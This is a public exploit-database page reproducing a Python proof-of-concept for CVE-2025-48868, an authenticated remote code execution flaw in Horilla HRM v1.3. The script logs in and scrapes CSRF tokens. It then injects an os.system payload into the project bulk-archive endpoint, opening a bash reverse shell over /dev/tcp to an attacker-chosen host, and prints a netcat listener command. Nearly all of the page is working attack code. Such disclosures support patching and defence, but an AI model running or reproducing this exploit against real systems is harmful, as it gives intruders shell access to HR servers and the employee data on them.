Share
## https://sploitus.com/exploit?id=PACKETSTORM:218656
# Exploit Title:  Horilla v1.3 - RCE
    # Date: 2025-05-29
    # Exploit Author: Raghad Abdallah Al-syouf
    # Version: <= 1.3
    # Tested on: Ubuntu / Docker
    # CVE: CVE-2025-48868
    
    
    Description:
    This script exploits the authenticated RCE vulnerability CVE-2025-48868.
    It logs into the target web app, creates a project, and sends payloads
    to achieve a reverse shell connection to a listener **started manually** by the user.
    
    Usage:
        python3 CVE_2025_48868.py --url http[s]://target:port --user username --pass password --lhost YOUR_IP --lport LISTENER_PORT
    
    Example:
        python3 CVE_2025_48868.py --url http://127.0.0.1:8000 --user admin --pass admin --lhost 192.168.1.100 --lport 4444
    """
    
    import requests
    import time
    import sys
    import argparse
    from bs4 import BeautifulSoup
    import urllib3
    import random
    import string
    from datetime import datetime
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    def generate_random_title():
        letters = ''.join(random.choices(string.ascii_lowercase, k=4))
        digits = ''.join(random.choices(string.digits, k=2))
        return letters + digits
    
    def main():
        print("[+] CVE-2025-48868")
    
        parser = argparse.ArgumentParser(description='Exploit for CVE-2025-48868: Authenticated RCE in Horilla HRM software v1.3. Exploit by:Nakleh Said Zeidan')
        parser.add_argument('--url', required=True, help='Target URL, e.g. http://localhost:8000')
        parser.add_argument('--user', required=True, help='Username for login')
        parser.add_argument('--pass', required=True, dest='password', help='Password for login')
        parser.add_argument('--lhost', required=True, help='Attacker IP (listener must be started manually)')
        parser.add_argument('--lport', required=True, type=int, help='Attacker port (listener must be started manually)')
    
        args = parser.parse_args()
    
        base_url = args.url.rstrip('/')
        login_url = f"{base_url}/login/"
        project_url = f"{base_url}/project/project-bulk-archive"
        session = requests.Session()
        headers = {
            "User-Agent": "Mozilla/5.0",
            "X-Requested-With": "XMLHttpRequest"
        }
    
        print("[+] Getting login page...")
        login_page = session.get(login_url, headers=headers, verify=False)
        if login_page.status_code != 200:
            print(f"[-] Failed to load login page, status {login_page.status_code}")
            sys.exit(1)
    
        soup = BeautifulSoup(login_page.text, 'html.parser')
        csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
    
        login_data = {
            "username": args.user,
            "password": args.password,
            "csrfmiddlewaretoken": csrf_token
        }
    
        print("[+] Logging in...")
        login_resp = session.post(login_url, data=login_data, headers=headers, verify=False)
        if login_resp.status_code != 200 or "logout" not in login_resp.text.lower():
            print("[-] Login failed")
            sys.exit(1)
        print("[+] Logged in successfully!")
    
        project_view_url = f"{base_url}/project/project-view/"
        project_view = session.get(project_view_url, headers=headers, verify=False)
        soup = BeautifulSoup(project_view.text, 'html.parser')
        csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
    
        print("[+] Creating project...")
        create_project_url = f"{base_url}/project/create-project?"
        today_str = datetime.now().strftime("%Y-%m-%d")
        random_title = generate_random_title()
        multipart_data = {
            "is_active": "on",
            "title": random_title,
            "managers": "1",
            "members": "1",
            "status": "new",
            "start_date": today_str,
            "end_date": today_str,
            "description": "Exploit project"
        }
    
        create_headers = {
            "User-Agent": "Mozilla/5.0",
            "Accept": "*/*",
            "Referer": project_view_url,
            "HX-Request": "true",
            "HX-Trigger": "hlvd701Form",
            "HX-Target": "hlvd701Form",
            "HX-Current-URL": project_view_url,
            "X-CSRFToken": csrf_token,
            "Origin": base_url,
            "DNT": "1",
            "Connection": "keep-alive",
        }
    
        create_resp = session.post(create_project_url, data=multipart_data, headers=create_headers, verify=False)
        if create_resp.status_code == 200:
            print(f"[+] Project created successfully with title: {random_title}")
        else:
            print(f"[-] Project creation may have failed (status {create_resp.status_code}), continuing anyway...")
    
        headers["Referer"] = project_view_url
        headers["Origin"] = base_url
        headers["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"
    
        print("[*] Ensure your listener is running: `nc -lvnp {}`".format(args.lport))
        print("[+] Sending payload...")
    
        i = 1
        while True:
            encoded_ids = f"%5B%22{i}%22%5D"
            payload = f"__import__('os').system('bash+-c+\"bash+-i+>%26+/dev/tcp/{args.lhost}/{args.lport}+0>%261\"')"
            exploit_url = f"{project_url}?is_active={payload}"
            data = f"csrfmiddlewaretoken={csrf_token}&ids={encoded_ids}"
            response = session.post(exploit_url, headers=headers, data=data, verify=False)
    
            if response.status_code == 200:
                print(f"[+] Payload sent for project id {i}. Waiting for shell...")
            else:
                print(f"[-] Error sending payload for project id {i} (status {response.status_code})")
    
            time.sleep(3)
            i += 1
    
    if __name__ == "__main__":
        main()